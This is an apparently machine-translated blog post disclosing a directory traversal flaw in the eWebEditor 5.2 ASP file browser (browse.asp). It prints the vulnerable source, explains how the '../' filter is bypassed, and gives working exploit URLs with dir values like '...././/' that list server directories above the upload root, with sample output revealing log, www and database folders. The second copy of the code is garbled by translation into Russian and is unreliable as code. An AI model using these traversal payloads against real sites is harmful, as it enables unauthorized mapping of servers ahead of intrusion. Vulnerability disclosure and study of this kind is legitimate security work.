ewebeditor 5,2 уязвимости серии каталог
: St0p
Собственная станция с редактором перед своими упорядочению ewebeditor 5.2 ASP версии для работы уставший, на отдых, редактор не думаю, на самом деле я нашел небольшую лазейку, хотя роль , однако, не будет использоваться для оказания помощи или очень хорошо.
Файл лазейка существует в ewebeditor / ASP / browse.asp
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub Функция GetList () Dim s_list, s_Url s_list = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName "Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server. CreateObject (" Scripting.FileSystemObject ") Set oUploadFolder = oFSO. GetFolder (Server. MapPath (sCurrDir)) 'переменная записку sCurrDir, это значение можно использовать Если Эрр Количество> 0 Then s_list = "" Exit Function End If Если sDir <> "" Тогда, если InStrRev (sDir "/")> 1, то s_Url = Left (sDir, InStrRev (sDir "/") - 1) Else s_Url = "" End If s_list = s_list и "<л OnClick = 'doRowClick (это)" OnMouseOver =' doRowOver (это) "onmouseout = 'doRowOut (это)" isdir =' истинный 'путь =' "& s_Url &" ">" & _ "<td> <IMG границы = 0 SRC = '.. / sysimage / файл / parentfolder GIF '> </ TD> "& _" <td> .. </ TD> "& _" <td> </ TD> "& _" </ TR> "End If' Response.Write sDir и "!" и s_list Dim oSubFolder For Each oSubFolder В oUploadFolder. oUploadFolder.SubFolders подпапки "Response.Write Если sDir =" "Тогда s_Url = oSubFolder. Имя остальное s_Url = sDir и" / "и oSubFolder. Имя End If s_list = s_list и" <tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" и s_Url и "'> "& _" <td> <IMG граница = 0 SRC = '.. / sysimage / файл / closedfolder.gif'> </ TD> "& _" <td noWrap> "и oSubFolder. Имя и" </ TD> "& _" <td> </ TD> "& _" </ TR> "Далее" Response.Write s_list Set oUploadFiles = oUploadFolder. файлов для каждого oUploadFile В oUploadFiles "Response.Write sFileName oUploadFile.Name = oUploadFile. Имя Если CheckValidExt (sFileName) = True Then "Это направление было немного подавленным, чтобы обнаружить все позволено файла суффикса, например, не будет не в состоянии перечислить или не перечислить только имена каталогов и файлов изображений в Если sDir =" "Тогда s_Url = sContentPath и sFileName остальное s_Url = sContentPath к и sDir и "/" и sFileName End If s_list = s_list и "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" и s_Url и "'> "& _" <td> "и FileName2Pic (sFileName) &" </ TD> "& _" <td noWrap> "и sFileName &" </ TD> "& _" <td align=right> "и GetSizeUnit ( oUploadFile. размера) и "</ TD>" & _ "</ TR>" End If Next Set oUploadFolder = oUploadFiles ничего Set = Nothing 'Response.Write Server.HTMLEncode (s_list) и "!" и s_Url Если sDir = "" Затем s_Url = "" 's_Url = "/" Else s_Url = "/" и sDir & ""' s_Url = "/" и sDir и "/" End If s_list = s_list & "</ стол>" s_list = HTML2JS ( s_list) 'Response.Write Server.HTMLEncode (s_list) и "!" и s_Url s_list = "parent.setDirList (" "" & s_list & "" "" "" & s_Url & "" ")" GetList = s_list End Function "Если вы не наступите обнаружения, должны иметь возможность получить список всех файлов в каталоге, и немного депрессии .. теперь только список файлов и каталогов, чтобы суффикс имя функции CheckValidExt (s_FileName) Если sAllowExt =" "Тогда CheckValidExt = Правда End Function Выход Если Dim я, Aext, Sext Sext = LCase (Mid (s_FileName, InStrRev (s_FileName) + 1) ".") CheckValidExt = False Aext = Split (LCase (sAllowExt), "|") для г = 0 To UBound (Aext) Если Aext (г) = Sext Затем CheckValidExt = True End Function If Next Exit Function End "вниз, чтобы найти код найден sCurrDir значение следующего стоит Sub InitParam () тампон = UCase (Trim (Request. QueryString ("тип"))) sStyleName = Trim (Request. QueryString ("Стиль")) Dim я, aStyleConfig, bValidStyle bValidStyle = False Для г = 1 To UBound (Astyle) aStyleConfig Split = (Astyle (г), "| | |") Если LCASE (sStyleName) = LCASE (aStyleConfig (0)) тогда bValidStyle = True Exit For End If Next Если bValidStyle = False тогда OutScript ("предупреждение ('Неверный стиль.)") End If sBaseUrl = aStyleConfig (19) "nAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 Если nAllowBrowse <> 1, то OutScript (" Alert ("Не допускайте просмотра! ')") End If sUploadDir = aStyleConfig (3) Если левый (sUploadDir, 1) <> "/", затем выберите Дело тампон Дело "REMOTE" sUploadDir = ".. / .. /" и sUploadDir и "Image /" Дело "FILE" sUploadDir = ".. / .. / "И sUploadDir и" Другие / "Дело" МЕДИА "sUploadDir =" .. / .. / "и sUploadDir и" Media / "Дело" FLASH "sUploadDir =" .. / .. / "и sUploadDir и" Flash / " Case Else sUploadDir = ".. / .. /" и sUploadDir и "Image /" End Select End If 'sUploadDir = sUploadDir и "/" Select Case sBaseUrl Дело "0", "sContentPath = aStyleConfig (23) Select Case тампон Дело" REMOTE "sContentPath =" .. / "и aStyleConfig (3) и" Image / "Дело" "sContentPath =" Файл .. / "и aStyleConfig (3) и" Другие / "Дело" "sContentPath =" MEDIA .. / "И aStyleConfig (3) и" Media / "Дело" "sContentPath =" FLASH .. / "и aStyleConfig (3) и" Flash / "Case Else sContentPath =" .. / "и aStyleConfig (3) и" Image / "End Select Case" 1 "= sContentPath RelativePath2RootPath (sUploadDir) Case" 2 "= sContentPath RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Выберите Select Case тампон Дело" REMOTE "sAllowExt = aStyleConfig (10) Case" FILE "sAllowExt = aStyleConfig (6 ) Case "МЕДИА" sAllowExt = aStyleConfig (9) Case "FLASH" sAllowExt = aStyleConfig (7) Case Else sAllowExt = aStyleConfig (8) End Select sCurrDir = Примечание sUploadDir, это путь к конфигурации адрес sDir = Trim ( Запрос ("каталог")) 'получить переменную sDir каталог = Replace (sDir, "\", "/")' реж переменная фильтр sDir = Replace (sDir ".. /", "") sDir = Replace ( sDir ". /", "") Если sDir <> "" Тогда, если CheckValidDir (Server. MapPath (sUploadDir и sDir)) = True Then sCurrDir = sUploadDir и sDir и "/" "сосредоточиться на этом, см. Нет, когда при sUploadDir и sDir, sCurrDir на стоимость sUploadDir и sDir «Хотя на первый взгляд sDir фильтруется, но мы можем пропустить. конкретных st0p использования остальное sDir будет дан в следующем использовании = "End If End If End Sub |
Эй, увидеть это вы должны понимать, что, в самом деле, фильтрация каталога, мы можем построить особую ценность для пропуска проверки, так что вы можете получить структуру каталогов и отображение файлов с расширениями файлов, допустимых в файле настроек ..
Использование методов являются следующие
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
St0p тест каталог загрузки является корневой каталог UploadFile по вышеуказанному адресу вы можете получить все каталоги в корневом каталоге.
Эй, если вы обнаружите открытый дисплей остается пустым, не падать духом, который просматривать исходный код, вы видите, что будет иметь корневой директории каталога.
Он корневой директории есть каталог гость, мы можем перечислить по адресу его следующую структуру
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Тогда мы можем также
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Перейти к высшим слоям, мой тестовый виртуального хоста, получить три директории WWW, лог-файл, datebase.
<HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ title> </ HEAD> <body> <скриптового языка = JavaScript> parent.setDirList ("<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='../..'> <TD > <img border=0 src='../sysimage/file/parentfolder.gif'> </ TD> <td> .. </ TD> <td> </ TD> </ TR> <тр OnClick = 'doRowClick (это) "OnMouseOver =' doRowOver (это)" onmouseout = 'doRowOut (это) "isdir =' истинный 'путь =' .. / .. / .. / лог"> <td> <IMG границу = 0 SRC = '.. / sysimage / файл / closedfolder.gif'> </ TD> <td noWrap> логах </ TD> <td> </ TD> </ TR> <тр OnClick = 'doRowClick (это ) 'OnMouseOver =' doRowOver (это) "onmouseout = 'doRowOut (это)" isdir =' истинный 'путь =' .. / .. / .. / ВСП> <td> <IMG границы = 0 SRC = ". . / sysimage / файл / closedfolder.gif '> </ TD> <td noWrap> WWW </ TD> <td> </ TD> </ TR> </ стол> "," / .. / .. / .. ") </ SCRIPT> </ body> </ html> |
Эта уязвимость может применяться только при использовании вспомогательных обнаружения вторжений, можно получить структуру каталогов, например, управление изменениями каталогов, баз данных каталога, так что вы можете получить имя каталога, но я не могу перечислить файлы позволяют st0p депрессии. я ....
Это уже второй оригинальный документ, выданный st0p на блоге, после многократных, Ga, в настоящее время также рассматривается блог открыли ..
Примечание: прыжок в каталоге веб-сайте используются во всех я нашел стойке регистрации будут заменены










































258 Trackback (ы)
Вы должны быть зарегистрированы , чтобы оставить комментарий.